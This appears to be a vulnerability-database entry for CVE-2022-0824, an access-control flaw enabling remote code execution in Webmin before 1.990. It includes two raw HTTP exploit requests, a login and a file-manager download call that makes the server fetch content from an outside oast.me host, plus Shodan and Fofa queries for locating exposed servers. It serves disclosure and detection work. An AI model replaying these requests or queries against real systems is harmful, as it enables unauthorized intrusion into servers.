| Title | Webmin <1.990 - Improper Access Control |
|---|---|
| Author | cckuailong |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive information or perform unauthorized actions. |
| Remediation | Upgrade Webmin to version 1.990 or later to mitigate this vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.93877 |
| CVE ID | CVE-2022-0824 |
| CWE ID | CWE-284,CWE-863 |
| Shodan Query | http.title:"webmin" |
| Fofa Query | title="webmin" |
| Tags | cve cve2022 rce oss huntr webmin authenticated vuln |
Webmin before 1.990 is susceptible to improper access control in GitHub repository webmin/webmin. This in turn can lead to remote code execution, by which an attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
POST /session_login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15
Connection: close
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Cookie: redirect=1;testing=1;PHPSESSID=;
Accept-Encoding: gzip
user=K7xsd4&pass=ZIgvdZ
POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 86
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: //filemin/?xnavigation=1
X-Requested-With: XMLHttpRequest
link=http://d5jlt41le0o2887g4k50q74yxgyj51a1d.oast.me&username=&password=&path=/hxuqtv
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0824.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0824.pcap
N/AN/A